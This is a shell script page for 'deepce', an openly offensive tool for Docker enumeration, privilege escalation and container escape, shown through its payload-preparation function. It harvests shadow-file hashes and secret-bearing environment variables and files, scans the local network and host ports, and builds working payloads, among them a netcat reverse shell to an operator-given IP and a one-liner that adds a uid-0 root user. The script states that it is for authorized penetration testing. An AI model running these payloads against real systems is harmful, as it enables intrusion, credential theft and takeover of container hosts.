-
-
Notifications
You must be signed in to change notification settings - Fork 106
/
deepce.sh
executable file
·1411 lines (1185 loc) · 38.5 KB
/
deepce.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# shellcheck disable=SC2034
VERSION="v0.1.0"
ADVISORY="deepce should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission."
###########################################
#---------------) Colors (----------------#
###########################################
C=$(printf '\033')
RED="${C}[1;31m"
GREEN="${C}[1;32m"
Y="${C}[1;33m"
B="${C}[1;34m"
LG="${C}[1;37m" #LightGray
DG="${C}[1;90m" #DarkGray
NC="${C}[0m"
UNDERLINED="${C}[4m"
EX="${C}[48;5;1m"
banner() {
if [ "$quiet" ]; then
return
fi
cat <<EOF
$DG ##$LG .
$DG ## ## ##$LG ==
$DG ## ## ## ##$LG ===
$LG /"""""""""""""""""\___/ ===
$B ~~~ $DG{$B~~ ~~~~ ~~~ ~~~~ ~~~ ~$DG / $LG===-$B ~~~$NC
$DG \______ X __/
$DG \ \ __/
$DG \____\_______/$NC
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ $DG ENUMERATE$NC
/ /_/ / __/ __/ /_/ / (__/ __/ $DG ESCALATE$NC
\__,_/\___/\___/ .___/\___/\___/$DG ESCAPE$NC
/_/
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
by stealthcopter
EOF
}
show_help() {
cat <<EOF
Usage: ${0##*/} [OPTIONS...]
-ne,--no-enum Don't perform enumeration, useful for skipping straight to exploits
-nn,--no-network Don't perform any network operations
-nc,--no-colors Don't use terminal colors
--install Install useful packages before running script, this will maximise enumeration and exploitation potential
-doc, --delete Script will delete itself on completion
${DG}[Exploits]$NC
-e, --exploit Use one of the following exploits (eg. -e SOCK)
DOCKER use docker command to create new contains and mount root partition to priv esc
PRIVILEGED exploit a container with privileged mode to run commands on the host
SOCK use an exposed docker sock to create a new container and mount root partition to priv esc
CVE-2019-5746
CVE-2019-5021
SYS_MODULE Exploit the SYS_MODULE privilege to create a malicious kernel module and obtain root on the host
${DG}[Payloads & Options]$NC
-i, --ip The local host IP address for reverse shells to connect to
-p, --port The port to use for bind or reverse shells
-l, --listen Automatically create the reverse shell listener
-s, --shadow Print the shadow file as the payload
-cmd, --command Run a custom command as the payload
-x, --payload Run a custom executable as the payload
--username Create a new root user
--password Password for new root user
${DG}[General Options]$NC
-q, --quiet Shhhh, be less verbose
-h, --help Display this help and exit.
[Examples]
$DG# Exploit docker to get a local shell as root$NC
./deepce.sh -e DOCKER
$DG# Exploit an exposed docker sock to get a reverse shell as root on the host$NC
./deepce.sh -e SOCK -l -i 192.168.0.23 -p 4444
EOF
}
###########################################
#--------------) Constants (--------------#
###########################################
# Note we use space separated strings for arrays as sh does not support arrays.
PATH_APPS="/app /usr/src/app /usr/src/myapp /home/node/app /go/src/app /var/www/html /usr/local/tomcat /mosquitto /opt/sonarqube /var/lib/ghost /var/jenkins_home /var/lib/rabbitmq /etc/rabbitmq /var/lib/mysql /usr/local/apache2 /etc/nginx /usr/share /usr/local/etc/redis /etc/traefik /var/lib/postgresql /opt/couchbase"
CONFIG_FILES="/usr/local/apache2/conf/httpd.conf /etc/traefik/traefik.toml /etc/traefik/traefik.yml /etc/mysql/conf.d /etc/mysql/my.cnf /etc/rabbitmq/rabbitmq.config"
GREP_SECRETS="pass\|secret\|key"
GREP_SOCK_INFOS="Architecture\|OSType\|Name\|DockerRootDir\|NCPU\|OperatingSystem\|KernelVersion\|ServerVersion"
GREP_SOCK_INFOS_IGNORE="IndexConfig"
GREP_IGNORE_MOUNTS="/ /\|/cgroup\|/var/lib/docker/\|/null \| proc proc \|/dev/console\|docker.sock"
TIP_NETWORK_ENUM="By default containers can communicate with other containers on the same network and the host machine, this can be used to enumerate further"
TIP_WRITABLE_SOCK="The docker sock is writable, we should be able to enumerate docker, create containers and obtain root privs on the host machine
See ${UNDERLINED}https://stealthcopter.github.io/deepce/guides/docker-sock.md${NC}"
TIP_DNS_CONTAINER_NAME="Reverse DNS lookup of container name requires host, dig or nslookup to get the container name"
TIP_DOCKER_GROUP="Users in the docker group can escalate to root on the host by mounting the host partition inside the container and chrooting into it.
deepce.sh -e DOCKER
See ${UNDERLINED}https://stealthcopter.github.io/deepce/guides/docker-group.md${NC}"
TIP_DOCKER_CMD="If we have permission to create new docker containers we can mount the host's root partition and chroot into it and execute commands on the host OS."
TIP_PRIVILEGED_MODE="The container appears to be running in privilege mode, we should be able to access the raw disks and mount the hosts root partition in order to gain code execution.
See ${UNDERLINED}https://stealthcopter.github.io/deepce/guides/docker-privileged.md${NC}"
TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible."
TIP_CVE_2019_5021="Alpine linux version 3.3.x-3.5.x accidentally allow users to login as root with a blank password, if we have command execution in the container we can become root using su root"
TIP_CVE_2019_13139="Docker versions before 18.09.4 are vulnerable to a command execution vulnerability when parsing URLs"
TIP_CVE_2019_5736="Docker versions before 18.09.2 are vulnerable to a container escape by overwriting the runC binary"
TIP_SYS_MODULE="Giving the container the SYS_MODULE privilege allows for kernel modules to be mounted. Using this, a malicious module can be used to execute code as root on the host."
DANGEROUS_GROUPS="docker\|lxd\|root\|sudo\|wheel"
DANGEROUS_CAPABILITIES="cap_sys_admin\|cap_sys_ptrace\|cap_sys_module\|dac_read_search\|dac_override\|cap_sys_rawio\|cap_mknod"
CONTAINER_CMDS="docker lxc rkt kubectl podman"
USEFUL_CMDS="curl wget gcc nc netcat ncat jq nslookup host hostname dig python python2 python3 nmap"
###########################################
#---------------) Helpers (---------------#
###########################################
# Convert version numbers into a regular number so we can do simple comparisons (use floats because sh can interpret 0 prefix numbers incorrectly otherwise).
# shellcheck disable=SC2046
# shellcheck disable=SC2183 # word splitting here is on purpose
ver() { printf "%03.0f%03.0f%03.0f" $(echo "$1" | tr '.' ' ' | cut -d '-' -f1); }
###########################################
#--------------) Printing (---------------#
###########################################
printer() {
# Only print if not empty
if [ "$2" ]; then
# Temporarily replace the IFS with null to preserve newline chars
OLDIFS=$IFS
IFS=
printf "%s%s%s\n" "$1" "$2" "$NC"
# Restore it so we don't break anything else
IFS=$OLDIFS
fi
}
printSection() {
# Print a section like:
# ========================================( Title here )========================================
l=94
if [ "$1" ]; then
s="( $1 )"
else
s="$1"
fi
size=${#s}
no=$((l-size))
start=$((no/2))
end=$((no-start))
printf "%s%${start}s" "$B" | tr " " "="
printf "%s%s%s" "$GREEN" "$s" "$B"
printf "%${end}s" | tr " " "="
printf "%s\n" "$NC"
}
printEx() { printer "$EX" "$1"; }
printFail() { printer "$DG" "$1"; }
printInfo() { printer "$LG" "$1"; }
printError() { printer "$RED" "$1"; }
printSuccess() { printer "$Y" "$1"; }
printQuestion() { printf "%s[+]%s %s %s" "$Y" "$GREEN" "$1" "$NC"; }
printStatus() { printer "$DG" "$1"; }
printYesEx() { printEx Yes; }
printYes() { printSuccess Yes; }
printNo() { printFail No; }
TODO() { printError "${NC}TODO $1"; }
nl() { echo ""; }
printTip() {
if [ "$quiet" ]; then
return
fi
printer "$DG" "$1" | fold -s -w 95
nl
}
printResult() {
printQuestion "$1"
if [ "$2" ]; then
printSuccess "$2"
else
if [ "$3" ]; then
printError "$3"
else
printNo
fi
fi
}
printResultLong() {
printQuestion "$1"
if [ "$2" ]; then
printYes
printStatus "$2"
else
if [ "$3" ]; then
printError "$3"
else
printNo
fi
fi
}
printMsg() {
printQuestion "$1"
printFail "$2"
}
printInstallAdvice() {
printError "$1 is required but not installed"
# TODO: Test install options
# TODO: Rename some with correct package names
if [ -x "$(command -v apt)" ]; then
# Debian based OSes
# TODO dig / nslookup / host -> dnsutils
printError "apt install -y $1"
elif [ -x "$(command -v apk)" ]; then
# Alpine
# TODO: dig / nslookup -> bind-tools
printError "apk add $1"
elif [ -x "$(command -v yum)" ]; then
# CentOS / Fedora
# TODO: dig / nslookup -> bind-utils
printError "yum install $1"
elif [ -x "$(command -v apt-get)" ]; then
# Old Debian
# TODO dig / nslookup / host -> dnsutils
printError "apt-get install -y $1"
fi
nl
}
installPackages() {
if ! [ "$install" ]; then
return
fi
if ! [ "$(id -u)" = 0 ]; then
# TODO: Elevate via sudo
printError "Need to be root to install packages..."
return
fi
printSection "Installing Packages"
if [ -x "$(command -v apt)" ]; then
# Debian based OSes
printQuestion "Installing Packages ....."
export DEBIAN_FRONTEND=noninteractive
if ! [ "$(apt update 2>/dev/null)" ]; then #
printError "Failed"
return
fi
if apt install --no-install-recommends --force-yes -y dnsutils curl nmap iputils-ping libcap2-bin >/dev/null 2>&1; then
printSuccess "Success"
else
printError "Failed"
fi
elif [ -x "$(command -v apk)" ]; then
# Alpine
apk add bind-tools curl nmap libcap
elif [ -x "$(command -v yum)" ]; then
# CentOS / Fedora
yum install bind-utils curl nmap libcap
elif [ -x "$(command -v apt-get)" ]; then
# Old Debian
apt-get install -y dnsutils curl nmap inetutils-ping libcap2-bin
fi
}
unsetColors(){
RED=""
GREEN=""
Y=""
B=""
LG=""
DG=""
NC=""
UNDERLINED=""
EX=""
}
describeColors(){
# Describe the colors unless they have been unset or we're being quiet
if [ "$quiet" ] || ! [ "$RED" ]; then
return
fi
printSection "Colors"
printQuestion "Exploit Test ............"; printEx "Exploitable - Check this out";
printResult "Basic Test .............." "Positive Result"
printResult "Another Test ............" "" "Error running check"
printQuestion "Negative Test ..........."; printNo;
printResultLong "Multi line test ........." "Command output
spanning multiple lines"
nl
printTip "Tips will look like this and often contains links with additional info. You can usually ctrl+click links in modern terminal to open in a browser window
See ${UNDERLINED}https://stealthcopter.github.io/deepce${NC}"
}
###########################################
#---------------) Checks (----------------#
###########################################
containerCheck() {
# Are we inside docker?
inContainer=""
if [ -f "/.dockerenv" ]; then
inContainer="1"
containerType="docker"
fi
# Additional check in case .dockerenv removed
if grep "/docker/" /proc/1/cgroup -qa; then
inContainer="1"
containerType="docker"
fi
#Docker check: cat /proc/1/attr/current
# Are we inside kubenetes?
if grep "/kubepod" /proc/1/cgroup -qa; then
inContainer="1"
containerType="kubernetes"
fi
# Are we inside LXC?
if env | grep "container=lxc" -qa; then
inContainer="1"
containerType="lxc"
fi
if grep "/lxc/" /proc/1/cgroup -qa; then
inContainer="1"
containerType="lxc"
fi
}
containerType() {
printResult "Container Platform ......" "$containerType" "Unknown"
}
userCheck() {
printQuestion "User ...................."
if [ "$(id -u)" = 0 ]; then
isUserRoot="1"
printEx "root"
else
printSuccess "$(whoami)"
fi
printQuestion "Groups .................."
groups=$(groups| sed "s/\($DANGEROUS_GROUPS\)/${LG}${EX}&${NC}${DG}/g")
printStatus "$groups" "None"
if ! [ $isUserRoot ]; then
printQuestion "Sudo ...................."
if [ -x "$(command -v sudo)" ]; then
if sudo -n -l 2>/dev/null; then
printEx "Passwordless Sudo"
isUserHasSudo="1"
else
printError "Password required"
fi
else
printError "sudo not found"
fi
else
printQuestion "Sudoers ................."
if [ -r /etc/sudoers ]; then
sudoers=$(grep -v "#\|^$\|^Defaults\|@include" /etc/sudoers)
printYes
printStatus "$sudoers"
else
printNo
fi
fi
}
dockerSockCheck() {
# Is the docker sock exposed
printQuestion "Docker Sock ............."
dockerSockPath=""
if [ -S "/var/run/docker.sock" ]; then
dockerSockPath="/var/run/docker.sock"
printYes
else
printFail "Not Found"
# TODO: Search elsewhere for sock?
fi
if [ "$dockerSockPath" ]; then
printInfo "$(ls -lah $dockerSockPath)"
# Is docker sock writable
printQuestion "Sock is writable ........"
if test -r "$dockerSockPath"; then
printYesEx
printTip "$TIP_WRITABLE_SOCK"
if [ -x "$(command -v curl)" ]; then
sockInfoCmd="curl -s --unix-socket $dockerSockPath http://localhost/info"
sockInfoRepsonse="$($sockInfoCmd)"
printTip "To see full info from the docker sock output run the following"
printStatus "$sockInfoCmd"
nl
# Docker version unknown lets get it from the sock
if [ -z "$dockerVersion" ]; then
# IF jq...
#dockerVersion=`$sockInfoCmd | jq -r '.ServerVersion'`
dockerVersion=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
fi
# Get info from sock
info=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep "$GREP_SOCK_INFOS" | grep -v "$GREP_SOCK_INFOS_IGNORE" | tr -d '"')
printInfo "$info"
else
printError "Could not interact with the docker sock, as curl is not installed"
printInstallAdvice "curl"
fi
else
printNo
fi
fi
}
enumerateContainer() {
printSection "Enumerating Container"
containerID
containerName
containerIPs
getContainerInformation
containerCapabilities
containerServices
containerPrivileges
containerExploits
}
containerID() {
# Get container ID
containerID="$(cat /etc/hostname || uname -n || hostname)"
# Get container full ID
printResult "Container ID ............" "$containerID" "Unknown"
if [ "$containerType" = "docker" ]; then
containerFullID=$(basename "$(cat /proc/1/cpuset)")
printResult "Container Full ID ......." "$containerFullID" "Unknown"
fi
}
containerIPs() {
sleep 2
# Get container IP
if [ -x "$(command -v hostname)" ]; then
containerIP="$(hostname -I 2>/dev/null || hostname -i)"
elif [ -x "$(command -v ip)" ]; then
containerIP="$(ip route get 1 | head -1 | cut -d' ' -f7)" # FIXME: Use sed as fields are inconsistent
fi
printResult "Container IP ............" "$containerIP" "Could not find IP"
# Container DNS
dnsServers=$(grep "nameserver" /etc/resolv.conf | cut -d' ' -f2 | tr '\n' ' ')
printResult "DNS Server(s) ..........." "$dnsServers" "Could not find DNS Servers"
# Host IP
if [ -x "$(command -v netstat)" ]; then
hostIP="$(netstat -nr | grep '^0\.0\.0\.0' | awk '{print $2}')"
elif [ -x "$(command -v ip)" ]; then
hostIP="$(ip route get 1 | cut -d' ' -f 3)"
elif [ "$containerIP" ]; then
# No tools available, just have a guess
hostIP=$(echo "$containerIP" | cut -d'.' -f 1-3).1
fi
printResult "Host IP ................." "$hostIP" "Could not find Host IP"
}
containerTools(){
for CMD in ${CONTAINER_CMDS}; do
tools="$tools $(command -v "${CMD}")"
done
printResultLong "Container tools ........." "$(echo "$tools" | tr ' ' '\n'| grep -v '^$')" "None"
}
containerName() {
# Get container name
# host, dig, nslookup
if [ "$containerType" = "docker" ]; then
# Requires containerIP
if [ "$containerIP" ]; then
if [ -x "$(command -v host)" ]; then
containerName=$(host "$containerIP" | rev | cut -d' ' -f1 | rev)
elif [ -x "$(command -v dig)" ]; then
containerName=$(dig -x "$containerIP" +noall +answer | grep 'PTR' | rev | cut -f1 | rev)
elif [ -x "$(command -v nslookup)" ]; then
containerName=$(nslookup "$containerIP" 2>/dev/null | grep 'name = ' | rev | cut -d' ' -f1 | rev)
else
missingTools="1"
fi
fi
else
containerName=$containerID
fi
printQuestion "Container Name .........."
if [ "$containerName" ]; then
printSuccess "$containerName"
else
printError "Could not get container name through reverse DNS"
if [ "$missingTools" ]; then
printTip "$TIP_DNS_CONTAINER_NAME"
printInstallAdvice "host dig nslookup"
fi
fi
}
getContainerInformation() {
# Enumerate container info
if [ -x "$(command -v lsb_release)" ]; then
os="$(lsb_release -i | cut -f2)"
else
os="$(uname -o)"
fi
kernelVersion=$(uname -r)
arch=$(uname -m)
cpuModel=$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d':' -f2| cut -d' ' -f2-)
printMsg "Operating System ........" "$os"
printMsg "Kernel .................." "$kernelVersion"
printMsg "Arch ...................." "$arch"
printMsg "CPU ....................." "$cpuModel"
for CMD in ${USEFUL_CMDS}; do
tools="$tools $(command -v "${CMD}")"
done
# shellcheck disable=SC2086 # Double quotes messes up output...
printResultLong "Useful tools installed .." "$(echo $tools | tr ' ' '\n')"
}
containerCapabilities() {
printQuestion "Dangerous Capabilities .."
if [ -x "$(command -v capsh)" ]; then
if capsh --print| grep -q "$DANGEROUS_CAPABILITIES"; then
caps=$(capsh --print |grep 'cap_' | sed "s/\($DANGEROUS_CAPABILITIES\)/${LG}${EX}&${NC}${DG}/g")
printYes
printStatus "$caps"
else
printNo
fi
else
caps=$(grep Cap /proc/self/status)
capEff=$(grep CapEff /proc/self/status | cut -d ':' -f 2 | tr -d '\t')
printError "capsh not installed, listing raw capabilities"
printInstallAdvice "libcap2-bin"
printStatus "Current capabilities are:"
printStatus "$caps"
printStatus "> This can be decoded with: \"capsh --decode=${capEff}\""
fi
}
containerServices() {
# SSHD
printQuestion "SSHD Service ............"
if ! [ -x "$(command -v ps)" ]; then
printError "Unknown (ps not installed)"
return
fi
(ps -aux 2>/dev/null || ps -a) | grep -v "grep" | grep -q "sshd"
# shellcheck disable=SC2181
if [ $? -eq 0 ]; then
if [ -f "/etc/ssh/sshd_config" ]; then
sshPort=$(grep "^Port" /etc/ssh/sshd_config || echo "Port 22" | cut -d' ' -f2)
printSuccess "Yes (port $sshPort)"
else
printSuccess "Yes"
fi
else
printNo
fi
}
containerPrivileges() {
printQuestion "Privileged Mode ........."
if [ -x "$(command -v fdisk)" ]; then
if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
printYesEx
printTip "$TIP_PRIVILEGED_MODE"
else
printNo
fi
else
printError "Unknown"
fi
}
containerExploits() {
# If we are on an alpine linux disto check for CVE–2019–5021
if [ -f "/etc/alpine-release" ]; then
alpineVersion=$(cat /etc/alpine-release)
printQuestion "Alpine Linux Version ...."
printSuccess "$alpineVersion"
printQuestion "└── CVE-2019-5021 ......."
if [ "$(ver "$alpineVersion")" -ge "$(ver 3.3.0)" ] && [ "$(ver "$alpineVersion")" -le "$(ver 3.6.0)" ]; then
printYesEx
printTip "$TIP_CVE_2019_5021"
else
printNo
fi
fi
}
enumerateContainers() {
printSection "Enumerating Containers"
if [ "$inContainer" ]; then # If inside a container
printTip "$TIP_NETWORK_ENUM"
# Find containers...
if [ "$dockerCommand" ]; then
# Enumerate containers using docker
dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
printMsg "Docker Containers........" "$dockercontainers"
docker ps -a
elif [ "$dockerSockPath" ]; then
# Enumerate containers using sock
TODO "Enumerate container using sock"
else
pingSweep
fi
portScan
else # Not in a container
if docker ps >/dev/null 2>&1; then # Enumerate docker containers
dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
dockercontainersTotal=$(docker ps -a --format "{{.Names}}" 2>/dev/null | wc -l)
printMsg "Docker Containers........" "$dockercontainers Running, $dockercontainersTotal Total"
docker ps -a
fi
if lxc list >/dev/null 2>&1; then # Enumerate lxc containers
lxccontainers=$(lxc list | grep -c "| RUNNING |" 2>/dev/null)
lxccontainersTotal=$(lxc list | grep -c "| CONTAINER |" 2>/dev/null)
printMsg "LXC Containers..........." "$lxccontainers Running, $lxccontainersTotal Total"
lxc list
fi
if rkt list >/dev/null 2>&1; then # Enumerate rkt containers
rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
printMsg "RKT Containers..........." "$rktcontainers Total" # TODO: Test and add total
rkt list
fi
fi
}
pingSweep() {
if [ "$noNetwork" ]; then
return
fi
if [ "$containerIP" ]; then
# Enumerate containers the hard way (network enumeration)
subnet=$(echo "$containerIP" | cut -d'.' -f1-3)
if [ -x "$(command -v nmap)" ]; then
# Method 1: nmap
printQuestion "Attempting ping sweep of $subnet.0/24 (nmap)"
nl
nmap -oG - -sP "$subnet.0/24" | grep "Host:"
elif [ -x "$(command -v ping)" ] && ping -c 1 127.0.0.1 2>/dev/null 1>&2; then
# Method 2: ping sweep (check ping is executable, and we can run it, sometimes needs root)
printQuestion "Attempting ping sweep of $containerIP/24 (ping)"
nl
pids=""
# Ping all IPs in range
set +m
for addr in $(seq 1 1 10); do
(ping -c 1 -t 1 "$subnet.$addr" >/dev/null && echo "$subnet.$addr" is Up) & true >/dev/null
pids="${pids} $!"
done
# Wait for all background pids to complete
for pid in ${pids}; do
wait "${pid}"
done
else
printError "Could not ping sweep, requires nmap or ping to be executable"
fi
else
printError "Cannot enumerate network without IP address"
fi
}
portScan() {
if [ "$noNetwork" ]; then
return
fi
# Scan containers / host
if [ -x "$(command -v nmap)" ]; then
# Method 1: nmap
if [ "$containerIP" ]; then
printSection "Scanning Host"
printQuestion "Scanning host $hostIP (nmap)"
nmap "$hostIP" -p-
fi
fi
}
findMountedFolders() {
# Find information about mount points
printSection "Enumerating Mounts"
printQuestion "Docker sock mounted ......."
if grep -q docker.sock /proc/self/mountinfo; then
printYesEx
# Docker sock appears to be mounted, uhoh!
printTip "$TIP_WRITABLE_SOCK"
dockerSockPath=$(grep "docker.sock" /proc/self/mountinfo | cut -d' ' -f 5)
else
printNo
fi
otherMounts=$(grep -v "$GREP_IGNORE_MOUNTS" /proc/self/mountinfo | cut -d' ' -f 4-)
printQuestion "Other mounts .............."
if [ "$otherMounts" ]; then
printYes
printStatus "$otherMounts"
# Possible host usernames found: (sed is hard... using a fudge)
usernames=$(echo "$otherMounts" | sed 's/.*\/home\/\(.*\)/\1/' | cut -d '/' -f 1 | sort | uniq | tr '\n' ' ')
if [ "$usernames" ]; then
printResult "Possible host usernames ..." "$usernames"
fi
if echo "$otherMounts" | grep -q "ecryptfs"; then
printResult "Encrypted home directory .." "Detected"
fi
else
printNo
fi
}
findInterestingFiles() {
printSection "Interesting Files"
interestingVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Ii "$GREP_SECRETS")
boringVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Iiv "$GREP_SECRETS")
printQuestion "Interesting environment variables ..."
if [ "$interestingVars" ]; then
printYes
printSuccess "$interestingVars"
else
printNo
fi
printStatus "$boringVars"
# Any common entrypoint files etc?
entrypoint=$(ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null)
printResultLong "Any common entrypoint files ........." "$entrypoint"
# Any files in root dir
if [ -x "$(command -v find)" ]; then
interestingFiles=$(find / -maxdepth 1 -type f | grep -v "/.dockerenv\|deepce.sh")
else
# shellcheck disable=SC2010
interestingFiles=$(ls -lah / | grep -v '^d\|^l\|^total\|.dockerenv\|deepce.sh')
fi
printResultLong "Interesting files in root ..........." "$interestingFiles"
# Any secrets in root dir files
result=$(grep -Iins --exclude="deepce.sh" "$GREP_SECRETS" /*)
printResultLong "Passwords in common files ..........." "$result"
# Home Directories
homeDirs="$(ls -lAh /home)"
printQuestion "Home directories ...................."
if echo "$homeDirs" | grep -qv 'total 0'; then
printStatus "$homeDirs"
else
printNo
fi
printQuestion "Hashes in shadow file ..............."
if test -r /etc/shadow; then
hashes=$(cut -d':' -f2 < /etc/shadow 2>/dev/null | grep -v '^*$\|^!')
if [ "$hashes" ]; then
printYes
printStatus "$hashes"
else
printNo
fi
else
printFail "Not readable"
fi
# TODO: Check this file /run/secrets/
printQuestion "Searching for app dirs .............."
nl
for p in ${PATH_APPS}; do
if [ -f "$p" ]; then
printSuccess "$p"
printMsg "$(ls -lAh "$p")"
fi
done
}
checkDockerRootless() {
printQuestion "Rootless ................"
if docker info 2>/dev/null|grep -q rootless; then
printYes
printTip "$TIP_DOCKER_ROOTLESS"
else
printNo
fi
}
getDockerVersion() {
printQuestion "Docker Executable ......."
if [ "$(command -v docker)" ]; then
dockerCommand="$(command -v docker)"
dockerVersion="$(docker -v | cut -d',' -f1 | cut -d' ' -f3)"
printSuccess "$dockerCommand"
printQuestion "Docker version .........."
printSuccess "$dockerVersion"
checkDockerRootless
printQuestion "User in Docker group ...."
if groups | grep -q '\bdocker\b'; then
printYesEx
printTip "$TIP_DOCKER_GROUP"
else
printNo
fi
else
printFail "Not Found"
fi
}
checkDockerVersionExploits() {
# Check version for known exploits
printResult "Docker Version .........." "$dockerVersion" "Version Unknown"
if ! [ "$dockerVersion" ]; then
return
fi
printQuestion "CVE–2019–13139 .........."
if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.5)" ]; then
printYesEx
printTip "$TIP_CVE_2019_13139"
else
printNo
fi
printQuestion "CVE–2019–5736 ..........."
if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.3)" ]; then
printYesEx
printTip "$TIP_CVE_2019_5736"
else
printNo
fi
}
###########################################
#--------------) Exploits (---------------#
###########################################
prepareExploit() {
# Shared method that takes the user input and converts it into a cmd to be used for exploitation
# Current available PAYLOADS are:
# - shadow
# - local shell
# - custom command
# - new root user
printMsg "Preparing Exploit" " "
if [ "$shadow" ]; then
# Show shadow password hashes
printMsg "Exploit Type ............." "Print Shadow"
printMsg "Clean up ................." "Automatic on container exit"
cmd="cat /etc/shadow"
elif [ "$username" ]; then
# New root user
if ! [ "$username" ]; then
printError "username missing"
exit 1
fi
if ! [ "$password" ]; then
printError "password missing"
exit 1
fi
printMsg "Exploit Type ............." "Add new root user"
printMsg "Username ................." "$username"
printMsg "Password ................." "$password"
printMsg "Clean up ................." "Manual, remember to delete user after exploitation!"
# Cool little bash one-liner to make a new user, set password and give it user id of 0 (root)
cmd="useradd $username;echo $password:$password|chpasswd $username;usermod -ou 0 $username"
elif [ "$command" ]; then
# Custom payload (run a command)
printMsg "Exploit Type ............." "Custom Command"
printMsg "Custom Command ..........." "$command"
printMsg "Clean up ................." "Automatic on container exit"
cmd="$command"
elif [ "$ip" ]; then
# Reverse shell
if ! [ "$port" ]; then
printError "port missing"
exit 1
fi
printMsg "Shell Type ....... " "Reverse TCP"
printMsg "Create listener .. " "No"
printMsg "Host ............. " "$ip"
printMsg "Port ............. " "$port"
cmd="/bin/sh -c nc $ip $port -e /bin/sh"
if [ "$listen" ]; then
# Enable job control
set -m
# Create listener
nc -lvnp "$port" &
# PID_NC=$!
bg
fi
else
# TODO: Disable on sock / privileged as we dont have interactive
printMsg "Exploit Type ............." "Local Shell"
printMsg "Create shell ............." "Yes"
printMsg "Clean up ................." "Automatic on container exit"
cmd="/bin/sh"
fi
if ! [ "$cmd" ]; then
printError "Nothing to do, if trying to launch a shell add -cmd bash"
exit 1
fi
}